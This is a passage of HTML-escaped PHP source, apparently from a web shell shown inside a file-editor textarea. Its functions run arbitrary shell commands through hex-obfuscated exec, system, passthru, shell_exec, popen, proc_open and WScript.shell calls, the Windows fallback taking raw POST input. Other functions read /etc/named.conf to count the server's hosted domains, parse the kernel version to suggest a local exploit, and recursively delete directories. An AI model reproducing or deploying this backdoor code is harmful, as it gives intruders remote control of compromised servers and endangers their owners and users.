    for ($i = 0; $i &lt; strlen($y) - 1; $i += 2) {
        $n .= chr(hexdec($y[$i] . $y[$i + 1]));
    }
    return $n;
}

function suggest_exploit()
{
    $uname = $GLOBALS[&#039;fungsi&#039;][8]();
    $xplod = explode(&quot; &quot;, $uname);
    $xpld = explode(&quot;-&quot;, $xplod[2]);
    $pl = explode(&quot;.&quot;, $xpld[0]);
    return $pl[0] . &quot;.&quot; . $pl[1] . &quot;.&quot; . $pl[2];
}
function s()
{
    $d0mains = @$GLOBALS[&#039;fungsi&#039;][7](&quot;/etc/named.conf&quot;, false);
    if (!$d0mains) {
        $dom = &quot;&lt;font color=red size=2px&gt;Cant Read [ /etc/named.conf ]&lt;/font&gt;&quot;;
        $GLOBALS[&quot;need_to_update_header&quot;] = &quot;true&quot;;
    } else {
        $count = 0;
        foreach ($d0mains as $d0main) {
            if (@strstr($d0main, &quot;zone&quot;)) {
                preg_match_all(&#039;#zone &quot;(.*)&quot;#&#039;, $d0main, $domains);
                flush();
                if (strlen(trim($domains[1][0])) &gt; 2) {
                    flush();
                    $count++;
                }
            }
        }
        $dom = &quot;$count Domain&quot;;
    }
    return $dom;
}

function cmd($in, $re = false)
{
    $out = &#039;&#039;;
    try {
        if ($re) $in = $in . &quot; 2&gt;&amp;1&quot;;
        if (function_exists(&quot;\x65\x78\x65\x63&quot;)) {
            @$GLOBALS[&#039;fungsi&#039;][16]($in, $out);
            $out = @join(&quot;\n&quot;, $out);
        } elseif (function_exists(&quot;\x70\x61\x73\x73\x74\x68\x72\x75&quot;)) {
            ob_start();
            @$GLOBALS[&#039;fungsi&#039;][17]($in);
            $out = ob_get_clean();
        } elseif (function_exists(&quot;\x73\x79\x73\x74\x65\x6d&quot;)) {
            ob_start();
            @$GLOBALS[&#039;fungsi&#039;][18]($in);
            $out = ob_get_clean();
        } elseif (function_exists(&quot;\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63&quot;)) {
            $out = $GLOBALS[&#039;fungsi&#039;][19]($in);
        } elseif (function_exists(&quot;\x70\x6f\x70\x65\x6e&quot;) &amp;&amp; function_exists(&quot;\x70\x63\x6c\x6f\x73\x65&quot;)) {
            if (is_resource($f = @$GLOBALS[&#039;fungsi&#039;][20]($in, &quot;r&quot;))) {
                $out = &quot;&quot;;
                while (!@feof($f))
                    $out .= fread($f, 1024);
                $GLOBALS[&#039;fungsi&#039;][21]($f);
            }
        } elseif (function_exists(&quot;\x70\x72\x6f\x63\x5f\x6f\x70\x65\x6e&quot;)) {
            $pipes = array();
            $process = @$GLOBALS[&#039;fungsi&#039;][23]($in . &#039; 2&gt;&amp;1&#039;, array(array(&quot;pipe&quot;, &quot;w&quot;), array(&quot;pipe&quot;, &quot;w&quot;), array(&quot;pipe&quot;, &quot;w&quot;)), $pipes, null);
            $out = @$GLOBALS[&#039;fungsi&#039;][22]($pipes[1]);
        } elseif (class_exists(&#039;COM&#039;)) {
            $alfaWs = new COM(&#039;WScript.shell&#039;);
            $e = $alfaWs-&gt;$GLOBALS[&#039;fungsi&#039;][16](&#039;cmd.exe /c &#039; . $_POST[&#039;alfa1&#039;]);
            $stdout = $e-&gt;StdOut();
            $out = $stdout-&gt;ReadAll();
        }
    } catch (Exception $e) {
    }
    return $out;
}


function winpwd()
{
    return str_replace(&quot;\\&quot;, &quot;/&quot;, $GLOBALS[&#039;fungsi&#039;][0]());
}

function compressToZip($sourceFile, $zipFilename)
{
    $zip = new ZipArchive();

    if ($zip-&gt;open($zipFilename, ZipArchive::CREATE) === TRUE) {
        $zip-&gt;addFile($sourceFile, basename($sourceFile));
        $zip-&gt;close();
        success();
    } else {
        failed();
    }
}

function remove_slash($val)
{
    $tex = str_replace(&quot;/&quot;, &quot;&quot;, $val);
    $tex1 = str_replace(&quot;:&quot;, &quot;&quot;, $tex);
    $tex2 = str_replace(&quot;_&quot;, &quot;&quot;, $tex1);
    $tex3 = str_replace(&quot; &quot;, &quot;&quot;, $tex2);
    $tex4 = str_replace(&quot;.&quot;, &quot;&quot;, $tex3);
    return $tex4;
}

function unlinkDir($dir)
{
    $dirs = array($dir);
    $files = array();
    for ($i = 0;; $i++) {
        if (isset($dirs[$i]))
            $dir =  $dirs[$i];
        else
            break;

        if ($openDir = opendir($dir)) {
            while ($readDir = @readdir($openDir)) {
                if ($readDir != &quot;.&quot; &amp;&amp; $readDir != &quot;..&quot;) {

                    if ($GLOBALS[&#039;fungsi&#039;][2]($dir . &quot;/&quot; . $readDir)) {
                        $dirs[] = $dir . &quot;/&quot; . $readDir;
                    } else {

                        $files[] = $dir . &quot;/&quot; . $readDir;
                    }
                }
            }
        }
    }



    foreach ($files as $file) {
        $GLOBALS[&#039;fungsi&#039;][24]($file);
    }
    $dirs = array_reverse($dirs);
    foreach ($dirs as $dir) {
        $GLOBALS[&#039;fungsi&#039;][25]($dir);
    }
}

function remove_dot($file)
{
    $FILES = $file;
    $pch = explode(&quot;.&quot;, $FILES);
    return $pch[0];
}


function windowsDriver()
{
    $winArr = [
        &#039;A&#039;, &#039;B&#039;, &#039;C&#039;, &#039;D&#039;, &#039;E&#039;, &#039;F&#039;, &#039;G&#039;, &#039;H&#039;, &#039;I&#039;, &#039;J&#039;, &#039;K&#039;, &#039;L&#039;, &#039;M&#039;, &#039;N&#039;, &#039;O&#039;, &#039;P&#039;, &#039;Q&#039;, &#039;R&#039;, &#039;S&#039;, &#039;T&#039;, &#039;V&#039;, &#039;W&#039;, &#039;X&#039;, &#039;Y&#039;, &#039;Z&#039;
    ];
    foreach ($winArr as $winNum =&gt; $winVal) {
        if (is_dir($winVal . &quot;:/&quot;)) {
            echo &quot;&lt;a style=&#039;color:orange; font-weight:bold;&#039; href=&#039;?d=&quot; . hx($winVal . &quot;:/&quot;) . &quot;&#039;&gt;[ &quot; . $winVal . &quot; ] &lt;/a&gt;&amp;nbsp;&quot;;
        }
    }
}

function namaPanjang($value)
{
    $namaNya = $value;
    $extensi = pathinfo($value, PATHINFO_EXTENSION);
    if (strlen($namaNya) &gt; 30) {
        return substr($namaNya, 0, 30) . &quot;...&quot;;
    } else {
        return $value;
    }
}

function extractArchive($archiveFilename, $extractPath)
{
    $zip = new ZipArchive();

    if ($zip-&gt;open($archiveFilename) === TRUE) {
        $zip-&gt;extractTo($extractPath);
        $zip-&gt;close();
        return true;
    } else {
        return false;
    }
}

function perms($file)
{
    $perms = $GLOBALS[&#039;fungsi&#039;][6]($file);
    if (($perms &amp; 0xC000) == 0xC000) {
        // Socket
        $info = &#039;s&#039;;
    } elseif (($perms &amp; 0xA000) == 0xA000) {
        // Symbolic Link
        $info = &#039;l&#039;;
    } elseif (($perms &amp; 0x8000) == 0x8000) {
        // Regular
        $info = &#039;-&#039;;
    } elseif (($perms &amp; 0x6000) == 0x6000) {
        // Block special
        $info = &#039;b&#039;;
    } elseif (($perms &amp; 0x4000) == 0x4000) {
        // Directory
        $info = &#039;d&#039;;
    } elseif (($perms &amp; 0x2000) == 0x2000) {
        // Character special
        $info = &#039;c&#039;;
    } elseif (($perms &amp; 0x1000) == 0x1000) {
        // FIFO pipe
        $info = &#039;p&#039;;
    } else {
        // Unknown
        $info = &#039;u&#039;;
    }
    // Owner
    $info .= (($perms &amp; 0x0100) ? &#039;r&#039; : &#039;-&#039;);
    $info .= (($perms &amp; 0x0080) ? &#039;w&#039; : &#039;-&#039;);
    $info .= (($perms &amp; 0x0040) ?
        (($perms &amp; 0x0800) ? &#039;s&#039; : &#039;x&#039;) : (($perms &amp; 0x0800) ? &#039;S&#039; : &#039;-&#039;));
    // Group
    $info .= (($perms &amp; 0x0020) ? &#039;r&#039; : &#039;-&#039;);
    $info .= (($perms &amp; 0x0010) ? &#039;w&#039; : &#039;-&#039;);
    $info .= (($perms &amp; 0x0008) ?
        (($perms &amp; 0x0400) ? &#039;s&#039; : &#039;x&#039;) : (($perms &amp; 0x0400) ? &#039;S&#039; : &#039;-&#039;));

    // World
    $info .= (($perms &amp; 0x0004) ? &#039;r&#039; : &#039;-&#039;);
    $info .= (($perms &amp; 0x0002) ? &#039;w&#039; : &#039;-&#039;);
    $info .= (($perms &amp; 0x0001) ?
        (($perms &amp; 0x0200) ? &#039;t&#039; : &#039;x&#039;) : (($perms &amp; 0x0200) ? &#039;T&#039; : &#039;-&#039;));
    return $info;
}
?&gt;
</textarea><br><input type="submit" value="Save"></form>